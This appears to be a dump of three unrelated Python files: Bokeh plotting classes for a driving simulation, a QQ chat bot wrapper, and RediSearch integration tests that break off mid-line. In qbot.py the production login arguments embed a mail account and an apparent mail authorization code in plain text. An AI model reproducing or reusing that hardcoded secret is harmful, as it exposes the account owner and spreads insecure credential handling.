corner_xs.append([[corners_x]]) corner_ys.append([[corners_y]]) agent_states = BokehAgentStates( xs=corner_xs, ys=corner_ys, track_id=track_ids, track_token=track_tokens, agent_type=agent_types, ) frame_dict[category] = ColumnDataSource(agent_states._asdict()) self.data_sources[frame_index] = frame_dict self.condition.notify() @dataclass class AgentStateHeadingPlot: """A dataclass for agent state heading plot.""" data_sources: Dict[int, Dict[str, ColumnDataSource]] = field(default_factory=dict) # A dict of data for each frame plots: Dict[str, GlyphRenderer] = field(default_factory=dict) # A dict of plots for each type plot: Optional[MultiLine] = None # A bokeh glyph element condition: Optional[threading.Condition] = None # Threading condition def __post_init__(self) -> None: """Initialize threading condition.""" if not self.condition: self.condition = threading.Condition(threading.Lock()) def update_plot(self, main_figure: figure, frame_index: int) -> None: """ Update the plot. :param main_figure: The plotting figure. :param frame_index: Frame index. """ if not self.condition: return with self.condition: while self.data_sources.get(frame_index, None) is None: self.condition.wait() data_sources = self.data_sources.get(frame_index, None) if not data_sources: return for category, data_source in data_sources.items(): plot = self.plots.get(category, None) data = dict(data_source.data) if plot is None: agent_color = simulation_tile_agent_style.get(category) self.plots[category] = main_figure.multi_line( xs="trajectory_x", ys="trajectory_y", line_color=agent_color["line_color"], line_width=agent_color["line_width"], source=data, ) else: self.plots[category].data_source.data = data def update_data_sources(self, scenes: Dict[Path, Any]) -> None: """ Update agent heading data sources. :param scenes: A dictionary of scenes with Pathlib and their simulation data. """ if not self.condition: return with self.condition: for frame_index, (scene_name, scene) in enumerate(scenes.items()): observations: Dict[str, List[Dict[str, Any]]] = scene["world"] frame_dict: Dict[str, Any] = {} for category, predictions in observations.items(): trajectory_xs = [] trajectory_ys = [] for prediction in predictions: pose = prediction["box"]["pose"] sizes = prediction["box"]["size"] state = StateSE2(x=pose[0], y=pose[1], heading=pose[2]) agent_trajectory = translate_longitudinally(state, distance=sizes[1] / 2 + 1) trajectory_xs.append([pose[0], agent_trajectory.x]) trajectory_ys.append([pose[1], agent_trajectory.y]) trajectories = ColumnDataSource( dict( trajectory_x=trajectory_xs, trajectory_y=trajectory_ys, ) ) frame_dict[category] = trajectories self.data_sources[frame_index] = frame_dict self.condition.notify() @dataclass class SimulationFigure: """Simulation figure data.""" figure: figure # Bokeh figure planner_name: str # Planenr name slider: Slider # Bokeh slider to this figure video_button: Button # Bokeh video button to this figure vehicle_parameters: VehicleParameters # Ego parameters mission_goal_plot: Optional[GlyphRenderer] = None # Mission goal plot expert_trajectory_plot: Optional[GlyphRenderer] = None # Expert trajectory plot legend_state: bool = False # Legend states scenes: Dict[Path, Any] = field(default_factory=dict) # A dict of paths to the simulation data map_polygon_plots: Dict[str, GlyphRenderer] = field(default_factory=dict) # Polygon plots for map layers map_line_plots: Dict[str, GlyphRenderer] = field(default_factory=dict) # Line plots for map layers lane_connectors: Optional[Dict[str, LaneConnector]] = None # Lane connector id: lane connector traffic_light_plot: Optional[TrafficLightPlot] = None # Traffic light plot ego_state_plot: Optional[EgoStatePlot] = None # Ego state plot ego_state_trajectory_plot: Optional[EgoStateTrajectoryPlot] = None # Ego state trajectory plot agent_state_plot: Optional[AgentStatePlot] = None # Agent state plot agent_state_heading_plot: Optional[AgentStateHeadingPlot] = None # Agent state heading plot def __post_init__(self) -> None: """Initialize all plots and data sources.""" if self.lane_connectors is None: self.lane_connectors = {} if self.traffic_light_plot is None: self.traffic_light_plot = TrafficLightPlot() if self.ego_state_plot is None: self.ego_state_plot = EgoStatePlot(vehicle_parameters=self.vehicle_parameters) if self.ego_state_trajectory_plot is None: self.ego_state_trajectory_plot = EgoStateTrajectoryPlot() if self.agent_state_plot is None: self.agent_state_plot = AgentStatePlot() if self.agent_state_heading_plot is None: self.agent_state_heading_plot = AgentStateHeadingPlot() def copy_datasources(self, other: SimulationFigure) -> None: """ Copy data sources from another simulation figure. :param other: Another SimulationFigure object. """ self.scenes = other.scenes self.lane_connectors = other.lane_connectors self.traffic_light_plot.data_sources = other.traffic_light_plot.data_sources # type: ignore self.ego_state_plot.data_sources = other.ego_state_plot.data_sources # type: ignore self.ego_state_trajectory_plot.data_sources = other.ego_state_trajectory_plot.data_sources # type: ignore self.agent_state_plot.data_sources = other.agent_state_plot.data_sources # type: ignore self.agent_state_heading_plot.data_sources = other.agent_state_heading_plot.data_sources # type: ignore def update_data_sources(self) -> None: """ Update data sources in a multi-threading manner to speed up loading and initialization in scenario rendering. """ # Update slider steps self.slider.end = len(self.scenes) - 1 # Update ego pose states if not self.ego_state_plot: return t1 = threading.Thread(target=self.ego_state_plot.update_data_sources, args=(self.scenes,)) t1.start() # Update ego pose trajectories if not self.ego_state_trajectory_plot: return t2 = threading.Thread(target=self.ego_state_trajectory_plot.update_data_sources, args=(self.scenes,)) t2.start() # Update traffic light status if self.lane_connectors is not None and len(self.lane_connectors): if not self.traffic_light_plot: return t3 = threading.Thread( target=self.traffic_light_plot.update_data_sources, args=( self.scenes, self.lane_connectors, ), ) t3.start() # Update agent states if not self.agent_state_plot: return t4 = threading.Thread(target=self.agent_state_plot.update_data_sources, args=(self.scenes,)) t4.start() # Update agent heading states if not self.agent_state_heading_plot: return t5 = threading.Thread(target=self.agent_state_heading_plot.update_data_sources, args=(self.scenes,)) t5.start() def render_mission_goal(self, mission_goal_state: Dict[str, Any]) -> None: """ Render the mission goal. :param mission_goal_state: Mission goal state. """ pose = mission_goal_state["pose"] source = ColumnDataSource(dict(xs=[pose[0]], ys=[pose[1]], heading=[pose[2]])) self.mission_goal_plot = self.figure.rect( x="xs", y="ys", height=self.vehicle_parameters.height, width=self.vehicle_parameters.length, angle="heading", fill_alpha=simulation_tile_style["mission_goal_alpha"], color=simulation_tile_style["mission_goal_color"], line_width=simulation_tile_style["mission_goal_line_width"], source=source, ) def render_expert_trajectory(self, expert_ego_trajectory_state: ColumnDataSource) -> None: """ Render expert trajectory. :param expert_ego_trajectory_state: A list of trajectory states. """ self.expert_trajectory_plot = self.figure.line( x="xs", y="ys", line_color=simulation_tile_trajectory_style["expert_ego"]["line_color"], line_alpha=simulation_tile_trajectory_style["expert_ego"]["line_alpha"], line_width=simulation_tile_trajectory_style["expert_ego"]["line_width"], source=expert_ego_trajectory_state, ) def update_legend(self) -> None: """Update legend.""" if self.legend_state: return if not self.agent_state_heading_plot or not self.agent_state_plot: return agent_legends = [ (category.capitalize(), [plot, self.agent_state_heading_plot.plots[category]]) for category, plot in self.agent_state_plot.plots.items() ] selected_map_polygon_layers = [ SemanticMapLayer.LANE.name, SemanticMapLayer.INTERSECTION.name, SemanticMapLayer.STOP_LINE.name, SemanticMapLayer.CROSSWALK.name, SemanticMapLayer.WALKWAYS.name, SemanticMapLayer.CARPARK_AREA.name, ] map_polygon_legend_items = [] for map_polygon_layer in selected_map_polygon_layers: map_polygon_legend_items.append( (map_polygon_layer.capitalize(), [self.map_polygon_plots[map_polygon_layer]]) ) selected_map_line_layers = [SemanticMapLayer.LANE.name, SemanticMapLayer.LANE_CONNECTOR.name] map_line_legend_items = [] for map_line_layer in selected_map_line_layers: map_line_legend_items.append((map_line_layer.capitalize(), [self.map_line_plots[map_line_layer]])) if not self.ego_state_plot or not self.mission_goal_plot or not self.ego_state_trajectory_plot: return legend_items = [ ("Ego", [self.ego_state_plot.plot]), ("Goal", [self.mission_goal_plot]), ("Ego traj", [self.ego_state_trajectory_plot.plot]), ] if self.expert_trajectory_plot is not None: legend_items.append(("Expert traj", [self.expert_trajectory_plot])) legend_items += agent_legends legend_items += map_polygon_legend_items legend_items += map_line_legend_items if self.traffic_light_plot and self.traffic_light_plot.plot is not None: legend_items.append(("Traffic light", [self.traffic_light_plot.plot])) legend = Legend(items=legend_items) legend.click_policy = "hide" self.figure.add_layout(legend) self.legend_state = True @dataclass class SimulationData: """Simulation figure data.""" planner_name: str # Planner name plot: LayoutDOM # Figure plot
qbot.py
# -*- coding: utf-8 -*- import common.logger as logger import sys,time import threading from qqbot import _bot as bot from qqbot.mainloop import Put from common.common import BaseBot import logging if sys.getdefaultencoding() != 'utf-8': reload(sys) sys.setdefaultencoding('utf-8') class QBot(BaseBot): def __init__(self,bizManager,conf): self.conf = conf self.bizManager = bizManager self.type = "qq" bot.bizManager = bizManager #相当于给bot模块织入了一个bizManager bot.qbot = self def send_image(self, group, user, img_path): logger.debug("QQ发送图片到服务器,未实现!群[%s],图片[%s]", group, img_path) pass#do nothing,默认什么也不做,QQ无法发送图片 #API: def List(self, tinfo, cinfo=None): #根据名字查找到组,群优先,讨论组次之 def find_group_discuss(self,name): groups = bot.List('group', name) if groups is not None and len(groups)>0: return groups[0] discusses = bot.List('discuss', name) if discusses is not None and len(discusses)>0: return discusses[0] return None #根据组,找到组内符合这个名字的人 def find_member(self): bot.List() #回调方法,注意!这个方法是在主线程中被调用的 def _send(self,group_name, member_name, message): logger.debug("准备发往QQ的消息,群[%s],人[%s]:%s", group_name, member_name, message) contact = self.find_group_discuss(group_name) if contact is None: logger.error("找不到QQ群或者讨论组,名字是%s",group_name) return logger.debug("找到了群组:%r", contact) # member = find_member(contact,member_name) bot.SendTo(contact, message) time.sleep(1) # 间隔一秒,防止被封 bot.SendTo(contact, '@' + member_name) def send(self,group_name, member_name, message,html=None): if html is not None: html = html.get_content(self.type) message += "\n" + html logger.info("qq消息发送:[%s][%s][%s]"%(group_name,member_name,message)) Put(self._send, group_name, member_name, message) def startup(self): super(QBot,self).startup() logger.info("启动QQ机器人服务器.....") cond = threading.Condition() cond.acquire() t = threading.Thread(target=self._startup, name='qq-bot', args=(cond,)) t.start() logger.debug("启动单独线程来进行QQ登陆") cond.wait() logger.debug("QQ服务器启动完毕,接下来进行其他组件的加载启动") def _startup(self,cond): # --bench .cache 临时目录在哪里? # --cmdQrcode 使用Console的二维码 # --pluginPath 插件放在哪个目录 if not self.conf.debug: logger.debug("QQ启动生产模式") args = "--bench .cache/qbot/ --mailAccount 12345678@qq.com --mailAuthCode sxlxhrgeqvzoiaba --pluginPath qbot/plugs --plugins message_processor".split(" ") else: logger.debug("QQ启动调试模式,QQ号:%s",self.conf.debug_qq) __arg = "--bench .cache/qbot/ --debug --cmdQrcode -q " + self.conf.debug_qq + " --pluginPath qbot/plugs --plugins message_processor" args = __arg.split(" ") logger.info("启动bot.Login登录,args:%s",args) # bot.rasa_server = rasa_server #bot这个实例身上给生生安上了一个rasa_server的实例 cond.acquire() bot.Login(args) cond.notify() cond.release() logger.debug("进入bot.Run 死循环等待中...") logging.getLogger("Utf8Logger").setLevel(logging.WARNING)#去掉QQ的debug日志 bot.Run() ''' bot会进入一个死循环,就是不停地去消息,然后处理了 def QQbot..workAt(taskQueue): while True: try: func, args, kwargs = taskQueue.get(timeout=0.5) except Queue.Empty: pass else: # func(*args, **kwargs) try: func(*args, **kwargs) ''' #groups 是一个list def register(self, group_names): logger.debug("注册QQ群组:%r", group_names) bot.groups = group_names #生在bot身上注入了一个groups变量,这个是为了让plugin中可以直接访问到 if __name__ == '__main__': QBot().startup()
test.py
# -*- coding: utf-8 -*- import redis import unittest from hotels import hotels import random import time from RLTest import Env from includes import * from common import getConnectionByEnv, waitForIndex, toSortedFlatList # this tests is not longer relevant # def testAdd(env): # if env.is_cluster(): # raise unittest.SkipTest() # r = env # env.assertOk(r.execute_command( # 'ft.create', 'idx', 'schema', 'title', 'text', 'body', 'text')) # env.assertTrue(r.exists('idx:idx')) # env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1.0, 'fields', # 'title', 'hello world', # 'body', 'lorem ist ipsum')) # for _ in r.retry_with_rdb_reload(): # prefix = 'ft' # env.assertExists(prefix + ':idx/hello') # env.assertExists(prefix + ':idx/world') # env.assertExists(prefix + ':idx/lorem') def testAddErrors(env): env.expect('ft.create idx ON HASH schema foo text bar numeric sortable').equal('OK') env.expect('ft.add idx doc1 1 redis 4').error().contains('Unknown keyword') env.expect('ft.add idx doc1').error().contains("wrong number of arguments") env.expect('ft.add idx doc1 42').error().contains("Score must be between 0 and 1") env.expect('ft.add idx doc1 1.0').error().contains("No field list found") env.expect('ft.add fake_idx doc1 1.0 fields foo bar').error().contains("Unknown index name") def assertEqualIgnoreCluster(env, val1, val2): # todo: each test that uses this function should be switch back to env.assertEqual once fix # issues on coordinator if env.isCluster(): return env.assertEqual(val1, val2) def testConditionalUpdate(env): env.assertOk(env.cmd( 'ft.create', 'idx','ON', 'HASH', 'schema', 'foo', 'text', 'bar', 'numeric', 'sortable')) env.assertOk(env.cmd('ft.add', 'idx', '1', '1', 'fields', 'foo', 'hello', 'bar', '123')) env.assertOk(env.cmd('ft.add', 'idx', '1', '1', 'replace', 'if', '@foo == "hello"', 'fields', 'foo', 'world', 'bar', '123')) env.assertEqual('NOADD', env.cmd('ft.add', 'idx', '1', '1', 'replace', 'if', '@foo == "hello"', 'fields', 'foo', 'world', 'bar', '123')) env.assertEqual('NOADD', env.cmd('ft.add', 'idx', '1', '1', 'replace', 'if', '1 == 2', 'fields', 'foo', 'world', 'bar', '123')) env.assertOk(env.cmd('ft.add', 'idx', '1', '1', 'replace', 'partial', 'if', '@foo == "world"', 'fields', 'bar', '234')) env.assertOk(env.cmd('ft.add', 'idx', '1', '1', 'replace', 'if', '@bar == 234', 'fields', 'foo', 'hello', 'bar', '123')) # Ensure that conditionals are ignored if the document doesn't exist env.assertOk(env.cmd('FT.ADD', 'idx', '666', '1', 'IF', '@bar > 42', 'FIELDS', 'bar', '15')) # Ensure that it fails if we try again, because it already exists env.assertEqual('NOADD', env.cmd('FT.ADD', 'idx', '666', '1', 'REPLACE', 'IF', '@bar > 42', 'FIELDS', 'bar', '15')) # Ensure that it fails because we're not using 'REPLACE' with env.assertResponseError(): env.assertOk(env.cmd('FT.ADD', 'idx', '666', '1', 'IF', '@bar > 42', 'FIELDS', 'bar', '15')) def testUnionIdList(env): # Regression test for https://github.com/RediSearch/RediSearch/issues/306 r = env N = 100 env.assertOk(r.execute_command( "ft.create", "test", 'ON', 'HASH', "SCHEMA", "tags", "TAG", "waypoint", "GEO")) env.assertOk(r.execute_command( "ft.add", "test", "1", "1", "FIELDS", "tags", "alberta", "waypoint", "-113.524,53.5244")) env.assertOk(r.execute_command( "ft.add", "test", "2", "1", "FIELDS", "tags", "ontario", "waypoint", "-79.395,43.661667")) r.cmd('ft.search', 'test', '@tags:{ontario}') res = r.execute_command( 'ft.search', 'test', "@waypoint:[-113.52 53.52 20 mi]|@tags:{ontario}", 'nocontent') env.assertEqual(res, [2L, '1', '2']) def testAttributes(env): env.assertOk(env.cmd('ft.create', 'idx','ON', 'HASH', 'schema', 'title', 'text', 'body', 'text')) env.assertOk(env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'title', 't1 t2', 'body', 't3 t4 t5')) env.assertOk(env.cmd('ft.add', 'idx', 'doc2', 1.0, 'fields', 'body', 't1 t2', 'title', 't3 t5')) res = env.cmd( 'ft.search', 'idx', '(@title:(t1 t2) => {$weight: 0.2}) |(@body:(t1 t2) => {$weight: 0.5})', 'nocontent') env.assertListEqual([2L, 'doc2', 'doc1'], res) res = env.cmd( 'ft.search', 'idx', '(@title:(t1 t2) => {$weight: 2.5}) |(@body:(t1 t2) => {$weight: 0.5})', 'nocontent') env.assertListEqual([2L, 'doc1', 'doc2'], res) res = env.cmd( 'ft.search', 'idx', '(t3 t5) => {$slop: 4}', 'nocontent') env.assertListEqual([2L, 'doc2', 'doc1'], res) res = env.cmd( 'ft.search', 'idx', '(t5 t3) => {$slop: 0}', 'nocontent') env.assertListEqual([1L, 'doc2'], res) res = env.cmd( 'ft.search', 'idx', '(t5 t3) => {$slop: 0; $inorder:true}', 'nocontent') env.assertListEqual([0], res) def testUnion(env): N = 100 r = env env.assertOk(r.execute_command( 'ft.create', 'idx','ON', 'HASH', 'schema', 'f', 'text')) for i in range(N): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world' if i % 2 == 0 else 'hallo werld')) for _ in r.retry_with_rdb_reload(): waitForIndex(r, 'idx') res = r.execute_command( 'ft.search', 'idx', 'hello|hallo', 'nocontent', 'limit', '0', '100') env.assertEqual(N + 1, len(res)) env.assertEqual(N, res[0]) res = r.execute_command( 'ft.search', 'idx', 'hello|world', 'nocontent', 'limit', '0', '100') env.assertEqual(51, len(res)) env.assertEqual(50, res[0]) res = r.execute_command('ft.search', 'idx', '(hello|hello)(world|world)', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(51, len(res)) env.assertEqual(50, res[0]) res = r.execute_command( 'ft.search', 'idx', '(hello|hallo)(werld|world)', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(101, len(res)) env.assertEqual(100, res[0]) res = r.execute_command( 'ft.search', 'idx', '(hallo|hello)(world|werld)', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(101, len(res)) env.assertEqual(100, res[0]) res = r.execute_command( 'ft.search', 'idx', '(hello|werld)(hallo|world)', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(101, len(res)) env.assertEqual(100, res[0]) res = r.execute_command( 'ft.search', 'idx', '(hello|hallo) world', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(51, len(res)) env.assertEqual(50, res[0]) res = r.execute_command( 'ft.search', 'idx', '(hello world)|((hello world)|(hallo world|werld) | hello world werld)', 'nocontent', 'verbatim', 'limit', '0', '100') env.assertEqual(101, len(res)) env.assertEqual(100, res[0]) def testSearch(env): r = env r.expect('ft.create', 'idx', 'ON', 'HASH', 'schema', 'title', 'text', 'weight', 10.0, 'body', 'text').ok() r.expect('ft.add', 'idx', 'doc1', 0.5, 'fields','title', 'hello world', 'body', 'lorem ist ipsum').ok() r.expect('ft.add', 'idx', 'doc2', 1.0, 'fields', 'title', 'hello another world', 'body', 'lorem ist ipsum lorem lorem').ok() # order of documents might change after reload for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') res = r.execute_command('ft.search', 'idx', 'hello') expected = [2L, 'doc2', ['title', 'hello another world', 'body', 'lorem ist ipsum lorem lorem'], 'doc1', ['title', 'hello world', 'body', 'lorem ist ipsum']] env.assertEqual(toSortedFlatList(res), toSortedFlatList(expected)) # Test empty query res = r.execute_command('ft.search', 'idx', '') env.assertListEqual([0], res) # Test searching with no content res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent') env.assertTrue(len(res) == 3) expected = ['doc2', 'doc1'] env.assertEqual(res[0], 2L) for item in expected: env.assertIn(item, res) # Test searching WITHSCORES res = r.execute_command('ft.search', 'idx', 'hello', 'WITHSCORES') env.assertEqual(len(res), 7) env.assertEqual(res[0], 2L) for item in expected: env.assertIn(item, res) env.assertTrue(float(res[2]) > 0) env.assertTrue(float(res[5]) > 0) # Test searching WITHSCORES NOCONTENT res = r.execute_command('ft.search', 'idx', 'hello', 'WITHSCORES', 'NOCONTENT') env.assertEqual(len(res), 5) env.assertEqual(res[0], 2L) for item in expected: env.assertIn(item, res) env.assertTrue(float(res[2]) > 0) env.assertTrue(float(res[4]) > 0) def testGet(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text', 'bar', 'text')) env.expect('ft.get').error().contains("wrong number of arguments") env.expect('ft.get', 'idx').error().contains("wrong number of arguments") env.expect('ft.get', 'idx', 'foo', 'bar').error().contains("wrong number of arguments") env.expect('ft.mget').error().contains("wrong number of arguments") env.expect('ft.mget', 'idx').error().contains("wrong number of arguments") env.expect('ft.mget', 'fake_idx').error().contains("wrong number of arguments") env.expect('ft.get fake_idx foo').error().contains("Unknown Index name") env.expect('ft.mget fake_idx foo').error().contains("Unknown Index name") for i in range(100): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'foo', 'hello world', 'bar', 'wat wat')) for i in range(100): res = r.execute_command('ft.get', 'idx', 'doc%d' % i) env.assertIsNotNone(res) env.assertEqual(set(['foo', 'hello world', 'bar', 'wat wat']), set(res)) env.assertIsNone(r.execute_command( 'ft.get', 'idx', 'doc%dsdfsd' % i)) env.expect('ft.get', 'no_idx', 'doc0').error().contains("Unknown Index name") rr = r.execute_command( 'ft.mget', 'idx', *('doc%d' % i for i in range(100))) env.assertEqual(len(rr), 100) for res in rr: env.assertIsNotNone(res) env.assertEqual(set(['foo', 'hello world', 'bar', 'wat wat']), set(res)) rr = r.execute_command( 'ft.mget', 'idx', *('doc-%d' % i for i in range(100))) env.assertEqual(len(rr), 100) for res in rr: env.assertIsNone(res) # Verify that when a document is deleted, GET returns NULL r.cmd('ft.del', 'idx', 'doc10') # But we still keep the document r.cmd('ft.del', 'idx', 'doc11') assert r.cmd('ft.del', 'idx', 'coverage') == 0 res = r.cmd('ft.get', 'idx', 'doc10') r.assertEqual(None, res) res = r.cmd('ft.mget', 'idx', 'doc10') r.assertEqual([None], res) res = r.cmd('ft.mget', 'idx', 'doc10', 'doc11', 'doc12') r.assertIsNone(res[0]) r.assertIsNone(res[1]) r.assertTrue(not not res[2]) env.expect('ft.add idx doc 0.1 language arabic payload redislabs fields foo foo').ok() env.expect('ft.get idx doc').equal(['foo', 'foo']) res = env.cmd('hgetall doc') env.assertEqual(set(res), set(['foo', 'foo', '__score', '0.1', '__language', 'arabic', '__payload', 'redislabs'])) def testDelete(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text')) for i in range(100): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world')) env.expect('ft.del', 'fake_idx', 'doc1').error() for i in range(100): # the doc hash should exist now r.expect('ft.get', 'idx', 'doc%d' % i).notRaiseError() # Delete the actual docs only half of the time env.assertEqual(1, r.execute_command( 'ft.del', 'idx', 'doc%d' % i, 'DD' if i % 2 == 0 else '')) # second delete should return 0 env.assertEqual(0, r.execute_command( 'ft.del', 'idx', 'doc%d' % i)) # second delete should return 0 # TODO: return 0 if doc wasn't found #env.assertEqual(0, r.execute_command( # 'ft.del', 'idx', 'doc%d' % i)) # After del with DD the doc hash should not exist if i % 2 == 0: env.assertFalse(r.exists('doc%d' % i)) else: r.expect('ft.get', 'idx', 'doc%d' % i).notRaiseError() res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'limit', 0, 100) env.assertNotIn('doc%d' % i, res) env.assertEqual(res[0], 100 - i - 1) env.assertEqual(len(res), 100 - i) # test reinsertion env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world')) res = r.execute_command( 'ft.search', 'idx', 'hello', 'nocontent', 'limit', 0, 100) env.assertIn('doc%d' % i, res) env.assertEqual(1, r.execute_command( 'ft.del', 'idx', 'doc%d' % i)) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') did = 'rrrr' env.assertOk(r.execute_command('ft.add', 'idx', did, 1, 'fields', 'f', 'hello world')) env.assertEqual(1, r.execute_command('ft.del', 'idx', did)) env.assertEqual(0, r.execute_command('ft.del', 'idx', did)) env.assertOk(r.execute_command('ft.add', 'idx', did, 1, 'fields', 'f', 'hello world')) env.assertEqual(1, r.execute_command('ft.del', 'idx', did)) env.assertEqual(0, r.execute_command('ft.del', 'idx', did)) def testReplace(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1.0, 'fields', 'f', 'hello world')) env.assertOk(r.execute_command('ft.add', 'idx', 'doc2', 1.0, 'fields', 'f', 'hello world')) res = r.execute_command( 'ft.search', 'idx', 'hello world') env.assertEqual(2, res[0]) with env.assertResponseError(): # make sure we can't insert a doc twice res = r.execute_command('ft.add', 'idx', 'doc1', 1.0, 'fields', 'f', 'hello world') # now replace doc1 with a different content env.assertOk(r.execute_command('ft.add', 'idx', 'doc1', 1.0, 'replace', 'fields', 'f', 'goodbye universe')) for _ in r.retry_with_rdb_reload(): waitForIndex(env, 'idx') # make sure the query for hello world does not return the replaced # document res = r.execute_command( 'ft.search', 'idx', 'hello world', 'nocontent') env.assertEqual(1, res[0]) env.assertEqual('doc2', res[1]) # search for the doc's new content res = r.execute_command( 'ft.search', 'idx', 'goodbye universe', 'nocontent') env.assertEqual(1, res[0]) env.assertEqual('doc1', res[1]) def testDrop(env): r = env env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text', 'n', 'numeric', 't', 'tag', 'g', 'geo')) for i in range(100): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world', 'n', 666, 't', 'foo bar', 'g', '19.04,47.497')) keys = r.keys('*') env.assertGreaterEqual(len(keys), 100) env.assertOk(r.execute_command('ft.drop', 'idx')) keys = r.keys('*') env.assertEqual(0, len(keys)) env.flush() # Now do the same with KEEPDOCS env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text', 'n', 'numeric', 't', 'tag', 'g', 'geo')) for i in range(100): env.assertOk(r.execute_command('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world', 'n', 666, 't', 'foo bar', 'g', '19.04,47.497')) keys = r.keys('*') env.assertGreaterEqual(len(keys), 100) if not env.is_cluster(): env.assertOk(r.execute_command('ft.drop', 'idx', 'KEEPDOCS')) keys = r.keys('*') env.assertListEqual(['doc0', 'doc1', 'doc10', 'doc11', 'doc12', 'doc13', 'doc14', 'doc15', 'doc16', 'doc17', 'doc18', 'doc19', 'doc2', 'doc20', 'doc21', 'doc22', 'doc23', 'doc24', 'doc25', 'doc26', 'doc27', 'doc28', 'doc29', 'doc3', 'doc30', 'doc31', 'doc32', 'doc33', 'doc34', 'doc35', 'doc36', 'doc37', 'doc38', 'doc39', 'doc4', 'doc40', 'doc41', 'doc42', 'doc43', 'doc44', 'doc45', 'doc46', 'doc47', 'doc48', 'doc49', 'doc5', 'doc50', 'doc51', 'doc52', 'doc53', 'doc54', 'doc55', 'doc56', 'doc57', 'doc58', 'doc59', 'doc6', 'doc60', 'doc61', 'doc62', 'doc63', 'doc64', 'doc65', 'doc66', 'doc67', 'doc68', 'doc69', 'doc7', 'doc70', 'doc71', 'doc72', 'doc73', 'doc74', 'doc75', 'doc76', 'doc77', 'doc78', 'doc79', 'doc8', 'doc80', 'doc81', 'doc82', 'doc83', 'doc84', 'doc85', 'doc86', 'doc87', 'doc88', 'doc89', 'doc9', 'doc90', 'doc91', 'doc92', 'doc93', 'doc94', 'doc95', 'doc96', 'doc97', 'doc98', 'doc99'], sorted(keys)) env.expect('FT.DROP', 'idx', 'KEEPDOCS', '666').error().contains("wrong number of arguments") def testDelete(env): r = env r.expect('ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text', 'n', 'numeric', 't', 'tag', 'g', 'geo').ok() for i in range(100): r.expect('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world', 'n', 666, 't', 'foo bar', 'g', '19.04,47.497').ok() keys = r.keys('*') env.assertGreaterEqual(len(keys), 100) r.expect('FT.DROPINDEX', 'idx', 'dd').ok() keys = r.keys('*') env.assertEqual(0, len(keys)) env.flush() # Now do the same with KEEPDOCS env.expect('ft.create', 'idx', 'ON', 'HASH', 'schema', 'f', 'text', 'n', 'numeric', 't', 'tag', 'g', 'geo').ok() for i in range(100): r.expect('ft.add', 'idx', 'doc%d' % i, 1.0, 'fields', 'f', 'hello world', 'n', 666, 't', 'foo bar', 'g', '19.04,47.497').ok() keys = r.keys('*') env.assertGreaterEqual(len(keys), 100) if not env.is_cluster(): r.expect('FT.DROPINDEX', 'idx').ok() keys = r.keys('*') env.assertListEqual(sorted("doc%d" %k for k in range(100)), sorted(keys)) env.expect('FT.DROPINDEX', 'idx', 'dd', '666').error().contains("wrong number of arguments") def testCustomStopwords(env): r = env # Index with default stopwords env.assertOk(r.execute_command( 'ft.create', 'idx', 'ON', 'HASH', 'schema', 'foo', 'text')) # Index with custom stopwords env.assertOk(r.execute_command('ft.create', 'idx2', 'ON', 'HASH', 'stopwords', 2, 'hello', 'world', 'schema', 'foo', 'text')) if not env.isCluster: res = env.cmd('ft.info', 'idx2') env.assertEqual(res[39], ['hello', 'world']) # Index with NO stopwords env.assertOk(r.execute_command('ft.create', 'idx3', 'ON', 'HASH', 'stopwords', 0, 'schema', 'foo', 'text')) if not env.isCluster: res = env.cmd('ft.info', 'idx3') env.assertEqual(res[39], []) #for idx in ('idx', 'idx2', 'idx3'): env.assertOk(r.execute_command( 'ft.add', 'idx', 'doc1', 1.0, 'fields', 'foo', 'hello world')) env.assertOk(r.execute_command( 'ft.add', 'idx', 'doc2', 1.0, 'fields', 'foo', 'to be or not to be')) for _ in r.retry_with_rdb_reload(): waitForIndex(r, 'idx') # Normal index should return results just for 'hello world' env.assertEqual([1, 'doc1'], r.execute_command( 'ft.search', 'idx', 'hello world', 'nocontent')) env.assertEqual([0], r.execute_command( 'ft.search', 'idx', 'to be or not', 'nocontent')) # Custom SW index should return results just for 'to be or not' env.assertEqual([0], r.execute_command( 'ft.search', 'idx2', 'hello world', 'nocontent')) env.assertEqual([1, 'doc2'], r.execute_command( 'ft.search', 'idx2', 'to be or not', 'nocontent')) # No SW index should return results for both env.assertEqual([1, 'doc1'], r.execute_command( 'ft.search', 'idx3', 'hello world', 'nocontent')) env.assertEqual([1, 'doc2'], r.execute_command( 'ft.search', 'idx3', 'to be or not', 'nocontent')) def testStopwords(env): # This test was taken from Python's tests, and failed due to some changes # made earlier env.cmd('ft.create', 'idx', 'ON', 'HASH', 'stopwords', 3, 'foo', 'bar', 'baz', 'schema', 'txt', 'text') env.cmd('ft.add', 'idx', 'doc1', 1.0, 'fields', 'txt', 'foo bar') env.cmd('ft.add', 'idx', 